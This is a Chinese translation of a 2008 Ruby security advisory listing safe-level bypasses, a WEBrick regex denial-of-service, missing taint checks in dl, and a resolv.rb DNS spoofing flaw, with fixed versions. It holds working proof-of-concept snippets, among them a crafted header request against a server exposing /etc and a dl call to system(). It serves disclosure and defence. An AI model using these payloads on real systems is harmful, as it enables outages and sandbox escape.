由 Shugo Maeda 发布于 2008 年 8 月 8 日
在 Ruby 中发现了多个漏洞。建议您升级到最新版本。
详情
已发现以下漏洞。
安全级别中的几个漏洞
在安全级别中发现了几个漏洞。
-
在安全级别 4 允许使用 untrace_var。
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join
-
在安全级别 4 可以修改 $PROGRAM_NAME。
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!"
-
在安全级别 1-3 可能会调用不安全的方法。
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end
-
在安全级别 4 允许 Syslog 操作。
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
这些漏洞由 Keita Yamaguchi 报告。
WEBrick 中的 DoS 漏洞
由于 WEBrick::HTTPUtils.split_header_value 中的回溯正则表达式,WEBrick::HTTP::DefaultFileHandler 存在请求耗时呈指数级增长的缺陷。
可被利用的服务器
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
攻击
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
此请求可能在本宇宙中都不会完成。
此漏洞由 Christian Neukirchen 报告。
dl 中缺少污点检查
dl 不检查污点,因此可能允许攻击者调用危险的函数。
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
此漏洞由 sheepman 报告。
resolv.rb 中的 DNS 欺骗漏洞
resolv.rb 允许远程攻击者欺骗 DNS 响应。可以通过 DNS 事务 ID 和源端口的随机性来降低此风险,因此 resolv.rb 已修复为随机化它们。
- 另请参阅:CVE-2008-1447
此漏洞由田中章报告。
受影响的版本
- 1.8 系列
-
- 1.8.5 及所有早期版本
- 1.8.6-p286 及所有早期版本
- 1.8.7-p71 及所有早期版本
- 1.9 系列
-
- r18423 及所有早期版本
解决方案
- 1.8 系列
- 请升级到 1.8.6-p287 或 1.8.7-p72。
- 1.9 系列
-
请使用 Subversion 检出最新版本。
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
请注意,您的软件包管理软件可能已经提供了更正此缺陷的软件包。
鸣谢
感谢 Keita Yamaguchi、Christian Neukirchen、sheepman 和 Tanaka Akira 向 Ruby 安全团队披露这些问题。
更改
- 2008-08-08 12:21 +09:00 修复了 ruby 1.9 的修订号。
- 2008-08-11 11:23 +09:00 修复了 ruby 1.8 的补丁级别。请参阅 Ruby 1.8.7-p72 和 1.8.6-p287 的发布公告